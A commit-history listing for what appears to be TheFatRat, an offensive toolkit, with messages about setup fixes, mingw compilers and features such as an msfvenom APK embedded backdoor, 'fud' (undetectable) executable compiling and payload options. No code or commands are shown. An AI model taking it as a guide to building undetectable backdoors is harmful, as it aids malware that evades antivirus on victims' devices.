Compare commits

...

655 Commits

Author SHA1 Message Date
peterpt b0586d08f3
1.9.8 2022-02-20 11:58:47 -05:00
peterpt 1cd9da541f
1.9.8 2022-02-20 11:54:26 -05:00
peterpt 245f066f20
Delete pkgs 2022-02-20 11:54:06 -05:00
peterpt c6e3576475
1.9.8 2022-02-20 11:48:18 -05:00
peterpt 9ae58d406b
Delete chk_tools 2022-02-20 11:48:00 -05:00
peterpt 61c454dbf1
1.9.8 2022-02-20 11:45:23 -05:00
peterpt 374406b37e
Delete chk_tools 2022-02-20 11:45:08 -05:00
peterpt f5d2c9b55a
1.9.8
python2 installation added
2022-02-20 06:37:10 -05:00
peterpt 74d5d8b72e
Delete setup.sh 2022-02-20 06:36:44 -05:00
peterpt c99711519a
1.9.8
python2 added
2022-02-20 06:18:54 -05:00
peterpt 2c0ecf1343
Delete fatrat 2022-02-20 06:18:20 -05:00
peterpt 8bbc32e556
1.9.8
python2 added for new kali releases
2022-02-20 06:17:57 -05:00
peterpt 36e946f102
Delete setup.sh 2022-02-20 06:17:23 -05:00
peterpt 176cf4e4f2
1.9.8
quick text fixes
2022-01-29 01:25:23 +00:00
peterpt 442b5fe6a5
Delete prog.c 2022-01-27 19:00:49 -05:00
peterpt 36428006d3
Merge pull request #675 from peterpt/master
Version 1.9.8
2022-01-27 23:50:56 +00:00
peterpt abbf6a806e 1.9.8 2022-01-27 23:48:39 -05:00
peterpt 5a6afc8d62 1.9.8 2022-01-27 23:46:05 -05:00
peterpt 2823f045fe 1.9.8 2022-01-27 23:43:50 -05:00
peterpt c44795ffc2 Update 2022-01-27 18:23:06 -05:00
peterpt 976be48811 test 2022-01-27 16:54:09 -05:00
peterpt 40f5efd060
updates
updates
2022-01-27 13:28:26 -05:00
peterpt 0477a189ea
Merge pull request #673 from peterpt/master
update
2022-01-27 18:26:51 +00:00
peterpt cb7febe71f
Update repokey 2022-01-25 17:11:13 +00:00
peterpt 480dcf66ee
Update README.md 2022-01-25 09:27:02 -05:00
peterpt f3f8c396ea
Update README.md 2022-01-25 09:26:22 -05:00
peterpt 0e656d6714
Update setup.sh
repokey added after jessie repo in setup
2022-01-25 08:58:46 -05:00
peterpt a0de9aa98a
Repository Key Management
Script created to update debian jessie repository
2022-01-25 13:56:08 +00:00
peterpt 9927123b9b
powerstagerfix 2021-03-01 16:41:38 +00:00
peterpt 81218aabeb
Delete fatrat 2021-03-01 11:41:08 -05:00
peterpt 3dc103cdd0
Add files via upload 2021-03-01 00:59:16 +00:00
peterpt d838d86666
Delete CHANGELOG.md 2021-02-28 19:59:05 -05:00
peterpt 30958694c9
Add files via upload 2021-03-01 00:55:14 +00:00
peterpt 2261dc36bd
Delete chk_tools 2021-02-28 19:54:58 -05:00
peterpt 99cc33d0db
Add files via upload 2021-03-01 00:54:46 +00:00
peterpt 32e0cfaa5b
Delete setup.sh 2021-02-28 19:54:30 -05:00
peterpt f132bd24c1
Add files via upload 2021-03-01 00:54:06 +00:00
peterpt 83fbc7143c
Delete power.py 2021-02-28 19:53:45 -05:00
peterpt c591c3c196
Add files via upload 2021-03-01 00:53:23 +00:00
peterpt dfde7a8f64
Delete baksmali 2021-02-28 19:53:06 -05:00
peterpt eeb8560c2c
Add files via upload 2021-03-01 00:52:36 +00:00
peterpt b23638c6bd
Delete apktool 2021-02-28 19:52:22 -05:00
peterpt b90099d52b
Merge pull request #591 from peterpt/master
apks added
2021-02-26 12:05:20 +00:00
peterpt 3c4d758560 update 2021-02-26 12:01:01 -05:00
peterpt 1e66b43041 update 2021-02-26 12:00:34 -05:00
peterpt 0e53b4f760
Add files via upload 2021-02-26 11:51:24 +00:00
peterpt b42cb99470
Delete CHANGELOG.md 2021-02-26 06:51:07 -05:00
peterpt db8a15ac0b
changes 2021-02-26 11:50:07 +00:00
peterpt 5eefa18476
Delete fatrat 2021-02-26 06:49:47 -05:00
peterpt dc878117c3
Update fatrat
few adjustments
2021-02-23 14:42:31 -05:00
peterpt 7be9c21767
Add files via upload 2021-02-23 14:02:45 -05:00
peterpt 8d474dbfc4
Delete CHANGELOG.md 2021-02-23 14:02:33 -05:00
peterpt a237b15a37
Changes
added msfvenom apk embedded backdoor
2021-02-23 14:00:29 -05:00
peterpt 18c0ec2df2
Delete fatrat 2021-02-23 13:59:50 -05:00
peterpt 93478eb9f3
Add files via upload 2021-02-23 13:59:33 -05:00
peterpt d2fc9b77d1
Delete setup.sh 2021-02-23 13:59:21 -05:00
peterpt 48fa097ef7
changes
latest changes
2021-02-23 10:41:14 -05:00
peterpt 29767a9d74
Delete CHANGELOG.md 2021-02-23 10:40:45 -05:00
peterpt 7dcd4eb393
Few changes
added option in setup to user select output directory of generated files in fatrat
2021-02-23 10:37:40 -05:00
peterpt e39af34781
Delete setup.sh 2021-02-23 10:36:58 -05:00
peterpt 23fadfd4ba
Add files via upload 2021-02-23 10:36:44 -05:00
peterpt 3943ebbfca
Delete powerfull.sh 2021-02-23 10:36:27 -05:00
peterpt 7ba21a55d7
Add files via upload 2021-02-23 10:36:12 -05:00
peterpt 564604e154
Delete grab.sh 2021-02-23 10:36:00 -05:00
peterpt 4e19ea682a
Add files via upload 2021-02-23 10:35:45 -05:00
peterpt b0741f5a8a
Delete fatrat 2021-02-23 10:35:28 -05:00
peterpt bf48c3f5a0
Add files via upload 2021-02-23 10:35:07 -05:00
peterpt 82753f4319
Delete backdoor_apk 2021-02-23 10:34:53 -05:00
peterpt 4d3d25d4ef
Add files via upload 2021-02-23 10:34:05 -05:00
peterpt c8d297ed49
Create Readme.md 2021-02-23 10:33:49 -05:00
peterpt c1cd17ae51
Add files via upload 2021-02-23 10:33:10 -05:00
peterpt 050a99420c
Create Readme.md 2021-02-23 10:32:46 -05:00
peterpt 5bbbcb214e
Install mingw with jessie only 2021-01-30 12:44:14 -05:00
peterpt 611dc3b7c1
Delete setup.sh 2021-01-30 12:43:47 -05:00
peterpt 4f8049e29e
added jessie repository debug
debugging added
2021-01-16 15:46:13 -05:00
peterpt 6c6d1dcc3a
Delete setup.sh 2021-01-16 15:45:19 -05:00
peterpt 31de940fa2
Update setup.sh 2021-01-14 18:25:32 +00:00
Edo Maland c3fe530067
Create FUNDING.yml 2020-06-29 23:10:11 +07:00
Edo Maland 12453c5b23
Update README.md 2020-06-18 03:44:44 -05:00
Edo Maland c3d4888159
Update README.md 2020-06-18 03:43:37 -05:00
peterpt e7e5abf0ab
Few changes
same adjustments as it was made in chk_tools
2020-06-03 20:26:26 +00:00
peterpt 5dba02d69c
Delete setup.sh 2020-06-03 16:25:55 -04:00
peterpt cc48eb61ba
Some changes
Some users have issues in java environment configuration witch leads to an extra line when executing java scripts like baksmali , dx , etc ...
Instead solving their java error witch is out of my scope , it was better to change the script to catch the line we need to identify what setup and chk tools scripts need to get thru .
2020-06-03 20:25:37 +00:00
peterpt 1be5e0207a
Delete chk_tools 2020-06-03 16:22:54 -04:00
peterpt 5ebff5fd14
Update troubleshoot.md 2020-05-30 09:48:58 +00:00
peterpt e4172ffd94
Update
Separated repositories update from jessie and kali , so installer can install the proper mingw installation in case not found , and removed unnecessary packages from setup
2020-05-17 11:43:17 -04:00
peterpt 7e5d0c56fe
Delete setup.sh 2020-05-17 11:41:52 -04:00
peterpt 923a46123c
Updated
More Simple checkup
2020-05-17 11:41:34 -04:00
peterpt a372cec39e
Delete chk_tools 2020-05-17 11:40:55 -04:00
peterpt 42a2b09d25
Update
Removed non essential packages from 1.9.0 and replaced solution for mingw from stretch repository , witch is the last version supported for fudwin
2020-05-17 10:14:09 -04:00
peterpt 65b39fff93
Delete chk_tools 2020-05-17 10:11:56 -04:00
peterpt 04a7068785
Update CHANGELOG.md 2020-05-02 12:23:34 -04:00
peterpt a81eb11592
Update troubleshoot.md 2020-05-02 12:10:55 -04:00
peterpt b73ab47d1e
Update troubleshoot.md 2020-05-02 11:58:32 -04:00
peterpt ce2b17c3e7
Update troubleshoot.md 2020-05-02 11:57:28 -04:00
peterpt e2a59ce5c0
Update README.md 2020-05-02 11:47:35 -04:00
peterpt d7348be771
Script to check tools
chk_tools was created to verify if all tools required for fatrat exists in user OS and will also check their versions (in case necessary) .
Chk_tools will provide user a solution for the problem in case it detects any missing package or incorrect version
2020-05-02 15:43:30 +00:00
peterpt 848617fca7
Update troubleshoot.md 2020-04-26 10:46:49 -04:00
peterpt 4ddbcda60e
Update troubleshoot.md 2020-04-26 10:45:37 -04:00
peterpt fe2f5de74f
Update troubleshoot.md 2020-04-26 10:45:00 -04:00
peterpt f103f0ba2e
Update troubleshoot.md 2020-04-26 10:44:26 -04:00
peterpt 7b5db0a8b5
Update troubleshoot.md 2020-04-26 10:43:46 -04:00
peterpt 251a44fb78
Update
Fixing file permissions before the setup
2020-04-26 09:54:29 -04:00
peterpt 70542db69c
Update CHANGELOG.md 2020-04-22 19:04:50 +00:00
peterpt 9e95aca4b8
Delete readme 2020-04-22 19:02:09 +00:00
peterpt d7bf76d84c
update apktool 2.4.1 2020-04-22 19:01:38 +00:00
peterpt 43058c093b
Create readme 2020-04-22 19:00:48 +00:00
peterpt 69c02cacc3
Delete apktool.jar 2020-04-22 19:00:00 +00:00
peterpt 12cbcbf5e2
Delete apktool 2020-04-22 18:59:48 +00:00
peterpt 37064d03e9
apktool upgrade 2020-04-22 18:58:05 +00:00
Edo Maland d582f8fd73
Update README.md 2020-03-29 19:13:44 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 0001980ac8
Update Information Detail - HOW TO SUBMIT ISSUE 2020-03-11 17:58:20 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 6a1226a752
Clean Code & Update Shebang 2020-03-11 17:49:25 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ cabe4bdf40
Clean Code Grab.sh 2020-03-11 17:44:12 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 8fcc167a4c
Update Broken Link 2020-03-02 09:25:09 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 72812b23d1
Change Metadata : Update Fix Some Error & Bugs 2020-03-02 09:08:38 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ dffd2d24e2
Clean Code Update Fix Some Error & Bugs 2020-03-02 09:00:53 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ af4247095f
Clean Code Update Fix Some Error & Bugs 2020-03-02 08:59:41 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 4c7203bf03
Clean Code Update Fix Some Error & Bugs 2020-03-02 08:49:32 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 2c945936af
Update fatrat 2020-03-02 08:28:06 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ b53b6e3fff
Adding Clean Code & Output 2020-03-02 08:20:30 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ debf42c267
Clean Code Update 2020-03-02 07:24:56 -06:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ da91909319
Update README.md 2020-02-27 05:04:09 -06:00
peterpt f4f7999deb
log update
Will determine if the user running the script is a root user , and if not then determine witch access rights it have and drop that information to apt.log .
2020-02-16 23:00:45 +00:00
peterpt 543e3477c1
id linux distro to log
identification of linux distribution to aptlog
2020-02-10 11:05:48 -05:00
peterpt e1ecea693c update to default-jdk
openjdk 8 not supported anymore in recent repositories
2020-02-09 22:20:26 +00:00
peterpt 77bccf5523 help added to mingw
latest mingw will break powerstager and user should install it using debian jessie repositories .
2020-02-09 19:50:29 +00:00
peterpt 604e1cf08c
changes in issues rules
both files required
2020-01-29 21:26:33 +00:00
peterpt f7c7788a23
fixed bug in avoid
problem relates with icon.res not compatible with gcc when trying to pup up the file size , fixed .
2019-12-15 08:35:48 +00:00
peterpt a2fe318066
Update troubleshoot.md 2019-12-15 08:28:43 +00:00
peterpt 15fafaa2d8
repository added
added jessie repository because mingw32 does not exist in kali repositories
2019-12-11 18:23:18 +00:00
peterpt 6bb7959b72
env python 2.7
Script was changed to work on python 2.7 instead python3 originally released .
However this is just a test that it can be reversed in case necessary
2019-12-05 16:00:48 +00:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 600f6d1507
Update README.md 2019-10-05 22:55:54 +07:00
peterpt f1442f0382
Update update 2019-10-05 05:04:49 -04:00
peterpt 2e370a3f57
Update
Fixed Bug
2019-10-05 05:03:56 -04:00
peterpt 90cd64fa8a
Update
Fixed update
2019-10-05 10:00:46 +01:00
peterpt 05144f8b7c
Delete update 2019-10-05 05:00:16 -04:00
peterpt 44453a1681
update
some bugs before
2019-10-04 22:54:38 +01:00
peterpt 56d4614099
Delete fatrat 2019-10-04 17:54:04 -04:00
peterpt ec06ce6f0f
fix
fix
2019-10-04 17:48:24 -04:00
peterpt cb9cd6d365
More variables fix
A lot of work must be done in all scripts .
Basically according to shellcheck "Double quote to prevent globbing and word splitting."
;)
2019-10-04 17:45:59 -04:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 5cd2093516
Fix Variable 2019-10-05 00:09:00 +07:00
peterpt afe70bebbc
Merge pull request #381 from peterpt/master
Update
2019-10-02 21:44:41 +01:00
peterpt dd8df1b844 Update 2019-10-02 21:43:20 -04:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 3cae9547eb
29/9/2019 2019-09-29 02:01:16 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 9281861a40
Update 29/9/2019 2019-09-29 01:56:58 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 86449ae9ed
Update 1.9.7.2019/29/9 2019-09-29 01:54:41 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 763591564d
Update README.md 2019-09-29 01:51:12 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 6add7ef110
Update Readme 2019-09-29 01:49:56 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 75afe71791
Update v.1.9.7#dev
Added permission forpowerfull.sh
2019-09-29 00:38:26 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 96b30c458c
Update TheFatRat v.1.9.7#dev 2019-09-28 23:24:34 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 2c1af56b85
Update TheFatRat v.1.9.8#dev 2019-09-28 23:23:54 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 89541920cf
Update TheFatRat v.1.9.7#dev 2019-09-28 23:23:14 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ a2bc12c357
Update TheFatRat v.1.9.8#dev 2019-09-28 23:20:06 +07:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 5cb8337ac3
Merge pull request #380 from peterpt/master
Update TheFatRat v.1.9.8.#dev
2019-09-28 23:15:13 +07:00
peterpt 1a0e412179 Tools Update 2019-09-28 16:21:51 -04:00
peterpt e34e46f935
Update 2019-09-28 01:52:20 -04:00
peterpt dddcadfbde
Delete CHANGELOG.md 2019-09-28 01:52:06 -04:00
peterpt ac679bc0e5
Update
changed apktool version to 2.4.0
2019-09-28 01:51:00 -04:00
peterpt 327e0bcaf1
Delete setup.sh 2019-09-28 01:50:28 -04:00
peterpt ee33f84129
apktool 2.4.0
update apktool
2019-09-28 01:49:48 -04:00
peterpt 6c5eb48567
Create readme 2019-09-28 01:49:15 -04:00
peterpt 43f2f51824
Delete apktool 2019-09-28 01:48:25 -04:00
peterpt 9f9d96ae17
Delete apktool.jar 2019-09-28 01:48:08 -04:00
peterpt 4465c419f8
update
automatically install netcat before checking internet connection and suppress output log to /dev/null .

Netcat is necessary to check internet connection , however some lnx distros dont have it installed by default .
2019-09-19 23:04:18 +01:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ f76570faa8
Update infomration about documentation
Documentation Available in CEH labs v9 & 10
2019-09-19 12:20:48 -05:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 1fd72e3929
Update Information Documentation 2019-09-19 12:17:12 -05:00
ᴱᴰᴼ ᴹᴬᴸᴬᴺᴰ 203c48b345
New Information 2019-09-19 12:10:37 -05:00
peterpt 2444b15a35
update
simple correction to last code
2019-09-13 08:49:39 +01:00
peterpt fe0c943910
update
Verifies if the choosed filename for fudwin exists as directory or as filename .
2019-09-13 08:46:47 +01:00
peterpt 88bcd8a80f
Updated
Setup new version will create a new log file with all the necessary information about user system so it could be more easyer to identify issues during the  setup of fatrat
2019-07-21 11:19:26 -04:00
peterpt 62ca607ec3
Delete setup.sh 2019-07-21 11:18:04 -04:00
peterpt 11b01e2d71
package file
Contains all required packages to run fatrat
This file will belong to a routine to be written in setup script to trace install errors
2019-07-19 11:12:38 -04:00
peterpt 9b3e579237
Updated 2019-06-01 14:28:18 -04:00
peterpt 5507ce0a05
Updated 2019-06-01 14:26:38 -04:00
peterpt 67674e553d
1.9.7
updated
2019-06-01 14:25:06 -04:00
peterpt 8bec0fdf1b
1.9.7
Fixed All Pwnwinds payload options
2019-06-01 14:24:35 -04:00
peterpt 70aa9e0fd9
Delete fatrat 2019-06-01 14:23:55 -04:00
peterpt 83a0a333b2
Update
Version Control Check added
2019-06-01 13:25:33 -04:00
peterpt 4c5924956d
Delete fatrat 2019-06-01 13:25:08 -04:00
peterpt b78686c5c7
Update
Version Control check added
2019-06-01 13:24:04 -04:00
peterpt b575838bd8
Delete fatrat 2019-06-01 13:23:35 -04:00
peterpt 326fb6fcc6
Version Control
Version Control
2019-06-01 13:01:13 -04:00
peterpt 3abb034972
update
fixes in script and setup requiring mono denvelop to compile pwnwinds cs file .
Video explaining will be uploaded soon
2018-12-02 07:53:54 -05:00
peterpt 23159a3629
Delete setup.sh 2018-12-02 07:52:34 -05:00
peterpt a261bba4f2
Delete fatrat 2018-12-02 07:52:22 -05:00
peterpt e414956378
update 2018-12-02 07:52:01 -05:00
peterpt e4b4205687
Delete CHANGELOG.md 2018-12-02 07:51:41 -05:00
Edo Maland 285cb4d657
Rules before creating a new issues 2018-10-22 23:32:26 +07:00
Edo Maland cdc2f756b2
Merge pull request #324 from Screetsec/revert-315-blackarch
"BlackArch Linux support"
2018-10-22 12:08:26 -04:00
Edo Maland 0e1b2efde6
Revert "BlackArch Linux support" 2018-10-22 23:07:58 +07:00
Edo Maland c6081faca0
Merge pull request #315 from mrsmith0x00/blackarch
BlackArch Linux support
2018-10-22 12:07:00 -04:00
Edo Maland dc35980c75
Update README.md 2018-10-12 21:04:17 +07:00
mrsmith0x00 c09e170aac setup.sh: code optimize 2018-09-23 14:12:39 +00:00
German Vechtomov 5f2ef6bd9e
fatrat: fix syntax 2018-09-23 12:51:05 +00:00
German Vechtomov 152f556d56
setup.sh: fix syntax 2018-09-23 12:47:00 +00:00
German Vechtomov 10381c8626
setup.sh: add python-names to deps 2018-09-23 09:04:01 +00:00
German Vechtomov d4395307e8
readme.md: add blackarch 2018-09-23 08:34:31 +00:00
German Vechtomov e010dbd3b1
setup.sh: fix apache 2018-09-23 08:34:21 +00:00
mrsmith0x00 bbf586ab2a fatrat: add blackarch support 2018-09-23 08:14:26 +00:00
mrsmith0x00 d42e5b3328 setup.sh: add blackarch support 2018-09-23 08:14:02 +00:00
Edo Maland bdb3f43372
Update README.md 2018-09-05 19:19:26 +07:00
Edo Maland 359a4daf42
Update README.md 2018-09-05 19:18:45 +07:00
Edo Maland af1a08df27
Update fatrat 2018-07-27 09:00:27 +07:00
Edo Maland 3707adfeac
Update README.md 2018-07-24 16:33:01 +07:00
Edo Maland 09f1b75261
Update control 2018-07-15 17:01:17 +07:00
Edo Maland 384f1baadd
Update fatrat 2018-07-15 02:42:41 -07:00
Edo Maland 45ee32aec8
Update setup.sh 2018-07-15 15:45:31 +07:00
Edo Maland 9fbf54656d
Update setup.sh 2018-07-13 23:21:00 +07:00
Edo Maland cab9b9b7ce
Merge pull request #252 from whiteblue3/master
changed 32bit mingw compiler to i686-w64-mingw32-gcc [ latest]
2018-06-22 14:13:39 +07:00
Edo Maland f286f4ac40
Merge pull request #286 from Screetsec/revert-284-revert-283-patch-1
Revert "Revert "updated README.md to fix some grammatical mistakes""
2018-06-13 22:48:40 +07:00
Edo Maland ab0d806899
Revert "Revert "updated README.md to fix some grammatical mistakes"" 2018-06-13 22:47:47 +07:00
Edo Maland 1941b58dbe
Merge pull request #285 from Screetsec/revert-253-patch-1
Revert "fix typo"
2018-06-13 22:45:56 +07:00
Edo Maland 2922e3e01c
Revert "fix typo" 2018-06-13 22:45:41 +07:00
Edo Maland 25fb54b4b2
Merge pull request #253 from isfaaghyth/patch-1
fix typo
2018-06-13 22:45:28 +07:00
Edo Maland 1e12336598
Merge pull request #284 from Screetsec/revert-283-patch-1
Revert "updated README.md to fix some grammatical mistakes"
2018-06-13 22:42:13 +07:00
Edo Maland 76315dbcc4
Revert "updated README.md to fix some grammatical mistakes" 2018-06-13 22:40:49 +07:00
Edo Maland 79ed5d6ad7
Merge pull request #283 from navanchauhan/patch-1
updated README.md to fix some grammatical mistakes
2018-06-13 22:40:44 +07:00
Navan Chauhan 63c3172a48
updated README.md to fix some grammatical mistakes 2018-06-13 09:42:59 +05:30
peterpt 6e38eab7a1
Update troubleshoot.md 2018-04-26 22:15:12 +01:00
peterpt c2be4774d5
Update troubleshoot.md 2018-03-31 09:33:18 +01:00
Muh Isfhani Ghiath fdeef82c19
fix typo 2018-03-09 23:48:02 +07:00
root d077b27fcc changed compiler to i686-w64-mingw32-gcc 2018-03-08 14:58:06 +09:00
root 4d538efac9 change mingw32 compiler to i686-w64-mingw32-gcc 2018-03-08 14:57:12 +09:00
Edo Maland 722ef56194
Update setup.sh 2018-02-12 21:58:54 +07:00
Edo Maland 4ee36a8462
Update troubleshoot.md 2018-02-12 19:52:09 +07:00
Edo Maland dc0ddae18d
Update README.md 2018-02-10 02:36:26 +07:00
Edo Maland d6937f7e29
Update README.md 2018-02-10 01:05:41 +07:00
Edo Maland 66456ac78e
Update README.md 2018-02-10 00:59:58 +07:00
Edo Maland 87254a1eda
Add files via upload 2018-02-10 00:48:24 +07:00
Edo Maland cc4b6adec1
Delete fatrat.ico 2018-02-10 00:47:58 +07:00
Edo Maland c08938a6ff
Update TheFatRat.desktop 2018-02-10 00:47:38 +07:00
Edo Maland 7d87f84b18
New Logo 2018-02-10 00:46:10 +07:00
Edo Maland 020c9e0213
Delete fatrat.ico 2018-02-10 00:45:26 +07:00
Edo Maland 662fd0708d
New Logo For TheFatRat 2018-02-10 00:44:10 +07:00
Edo Maland 1dcdd76610
Delete fatrat.ico 2018-02-10 00:43:38 +07:00
Edo Maland f5d36b5ff0
Updated TheFatRat-v.1.9.6
CHECK CHANGELOG
2018-02-10 00:40:16 +07:00
Edo Maland ac2a60e8bc
Update README.md 2018-02-10 00:32:10 +07:00
Edo Maland 1de1816b25
Update README.md 2018-02-10 00:30:42 +07:00
Edo Maland 44c1612e4b
Update TheFatRat-v1.9.6
Check Changelog
2018-02-10 00:27:43 +07:00
Edo Maland b3a85d6e28
Update TheFatRat-v.1.9.6
Check Changelog
2018-02-10 00:21:44 +07:00
Edo Maland 8ad8f2da40
Delete fatrat 2018-02-10 00:20:28 +07:00
Edo Maland 23e96534ab
disable monodevelop ( can install it manual ) 2018-02-10 00:18:50 +07:00
Edo Maland cd12490499
Update CHANGELOG.md 2018-02-10 00:16:54 +07:00
Edo Maland b19bf5d15a
Create README.md 2018-02-10 00:15:53 +07:00
Edo Maland 8cca3e533e
Create README.md 2018-02-10 00:15:35 +07:00
Edo Maland 86df4357a8
Create README.md 2018-02-10 00:15:11 +07:00
Edo Maland 67d0400369
Create control 2018-02-10 00:14:37 +07:00
Edo Maland 375f4debca
Delete oke.md 2018-02-10 00:13:22 +07:00
peterpt 7d2718a01b
Update troubleshoot.md 2018-02-06 00:24:32 +00:00
peterpt 8555c320b1
Update troubleshoot.md 2018-02-06 00:23:01 +00:00
peterpt 4769b2b736
Update troubleshoot.md 2018-02-06 00:08:07 +00:00
peterpt 721f009c32
Create troubleshoot.md 2018-02-06 00:06:00 +00:00
peterpt 959fde49dd
mingw binary change
mingw32 binary changed
2017-12-23 11:01:40 +00:00
peterpt c8c3f6bc0b
compiler fix
mingw32 binary fix in powerfull.sh
2017-12-23 10:57:46 +00:00
peterpt 4a0faba2c9
mingw fixes
separated installations during setup for mingw 32 & 64 bit
2017-12-23 10:52:57 +00:00
Edo Maland cf84016839
Update README.md 2017-12-12 00:08:25 +07:00
peterpt 4cea24ff40
Removed unsupported arch
arm6/7 arch removed fromsetup
2017-12-07 09:22:59 +00:00
peterpt c9300e9619
Internet detection
A Different approach to check  internet
2017-11-24 09:34:52 +00:00
peterpt 995c8a907d
net detect
different approach to internet detection
2017-11-24 09:26:19 +00:00
peterpt b534ddf5b4 adjustments
some adjustments to setup
2017-09-11 07:47:51 -05:00
peterpt eabebe2fc2 revision
* monodenvelop 
moved to kali repository -> some distros may not have it on their repository

* sudo 
sudo does not arrive on many fresh linux distro instalations

* aapt
Instead unlink , removing the link itself avoids errors on this tools checkup by setup , because aapt may have been created before by another fatrat setup on a directory that may not exist anymore .
2017-07-22 19:01:10 -04:00
peterpt ae801942ae 1.9.5
quick text patch
2017-07-16 11:56:22 +01:00
peterpt f6998c47ad 1.9.5
quick fix
2017-07-16 09:15:48 +01:00
peterpt 653cd6e97f Delete update 2017-07-16 04:15:30 -04:00
Edo Maland 294520d3e3 Merge pull request #158 from peterpt/master
Update >> thanks
2017-07-16 10:19:42 +07:00
Edo Maland 7572bfaef6 Update CHANGELOG.md 2017-07-16 10:19:27 +07:00
peterpt 83b63540cb 1.9.5
simple compiler patch
2017-07-15 13:32:04 -04:00
peterpt 41963955af 1.9.5
New approach to setup
2017-07-15 12:59:39 -04:00
peterpt b427a9010a 1.9.5 2017-07-15 12:43:06 -04:00
peterpt efaadc9849 1.9.5 2017-07-15 12:35:07 -04:00
peterpt 853c703b1e 1.9.5
64bit fud exe compiling option added
2017-07-15 12:34:11 -04:00
peterpt 0777a38fef 1.9.5
64bit exe compiling option available when mingw64 is installed
2017-07-15 17:32:58 +01:00
peterpt 5d0449b10c Delete powerfull.sh 2017-07-15 12:32:06 -04:00
peterpt ae1df58549 1.9.5
multiple fixes
2017-07-15 12:20:30 +01:00
peterpt bc44659d68 Delete fatrat 2017-07-15 07:20:06 -04:00
peterpt 277b6c3c08 1.9.5
Fixes in mingw64
2017-07-15 11:50:38 +01:00
peterpt 949cd8fdf2 Delete setup.sh 2017-07-15 06:50:04 -04:00
peterpt 801d8b6d51 1.9.5 2017-07-13 14:16:19 +01:00
peterpt a51397aae6 Delete fatrat 2017-07-13 09:15:53 -04:00
peterpt 6c6c6964ba 1.9.5 2017-07-12 19:51:33 -04:00
peterpt 3d17975378 1.9.5 2017-07-13 00:50:33 +01:00
peterpt 9a4fb802e7 Delete fatrat 2017-07-12 19:50:16 -04:00
peterpt f39bd81b55 1.9.5 2017-07-12 06:25:42 -04:00
peterpt 6b572661e3 1.9.5
Fixes
2017-07-12 11:21:38 +01:00
peterpt 53c1cfdd00 Delete update 2017-07-12 06:21:03 -04:00
peterpt 93897953de 1.9.5
fixes in desktop shortcut
2017-07-12 01:33:56 +01:00
peterpt f6ca51ab77 Delete TheFatRat.desktop 2017-07-11 20:33:27 -04:00
peterpt 34b70f74f1 1.9.5
fixes in avoid
2017-07-12 01:33:06 +01:00
peterpt ac8649702f Delete fatrat 2017-07-11 20:32:42 -04:00
peterpt 2de2147cad 1.9.5 2017-07-11 20:27:59 -04:00
peterpt 8e204c3cf0 1.9.5
Fixes in Avoid
2017-07-12 01:27:09 +01:00
peterpt 3a31127bea Delete fatrat 2017-07-11 20:26:44 -04:00
peterpt 05d14170f4 1.9.5
Fixes in fatrat startup desktop shorcut
2017-07-12 00:40:26 +01:00
peterpt ddda36af1b Delete TheFatRat.desktop 2017-07-11 19:39:50 -04:00
peterpt 7cc1ad1fc0 Add files via upload 2017-07-12 00:26:26 +01:00
Edo Maland 68b5e940b5 Update README.md 2017-07-11 23:26:15 +07:00
Edo Maland 315cd21205 Merge pull request #156 from peterpt/master
Update
2017-07-11 23:24:26 +07:00
peterpt c9f5a33bfe Update README.md 2017-07-11 08:50:03 +01:00
peterpt 3b6badd298 Update README.md 2017-07-10 09:40:58 -04:00
peterpt e0d1579744 Add files via upload 2017-07-10 14:39:41 +01:00
peterpt f6beb1b7d6 1.9.5 2017-07-10 09:34:45 -04:00
peterpt 624d801813 1.9.5 2017-07-10 09:34:20 -04:00
peterpt 908eefb44b 1.9.5
powerstager changes
2017-07-10 14:31:52 +01:00
peterpt 15818be78d Delete fatrat 2017-07-10 09:31:14 -04:00
peterpt 1f54ca1728 1.9.5 2017-06-22 23:08:59 -04:00
Edo -maland- 7e171169b3 added desktop icon for fatrat 2017-06-20 18:18:15 +07:00
Edo -maland- 33d855df37 Update TheFatRat.desktop 2017-06-20 18:17:16 +07:00
Edo -maland- 3c67cde2cc Add files via upload 2017-06-20 18:16:39 +07:00
Edo -maland- 55d081d83f icon add to desktop 2017-06-20 18:08:34 +07:00
Edo -maland- f568a0e0a7 Update setup.sh 2017-06-20 18:07:00 +07:00
peterpt b23049fbaf 1.9.5
Aapt & Dx Versions updated to android-sdk 26 in tools
2017-06-12 11:38:03 +01:00
peterpt a76b016739 Delete setup.sh 2017-06-12 06:37:08 -04:00
peterpt a469689fa0 1.9.5 2017-06-12 08:56:40 -04:00
peterpt 65ca7cce68 Add files via upload 2017-06-12 07:58:30 +01:00
peterpt 8f75d8a0d1 Icons
icons
2017-06-12 01:46:52 +01:00
peterpt 0c0e8afcd3 microsoft icons
Microsoft office icons
2017-06-12 01:45:58 +01:00
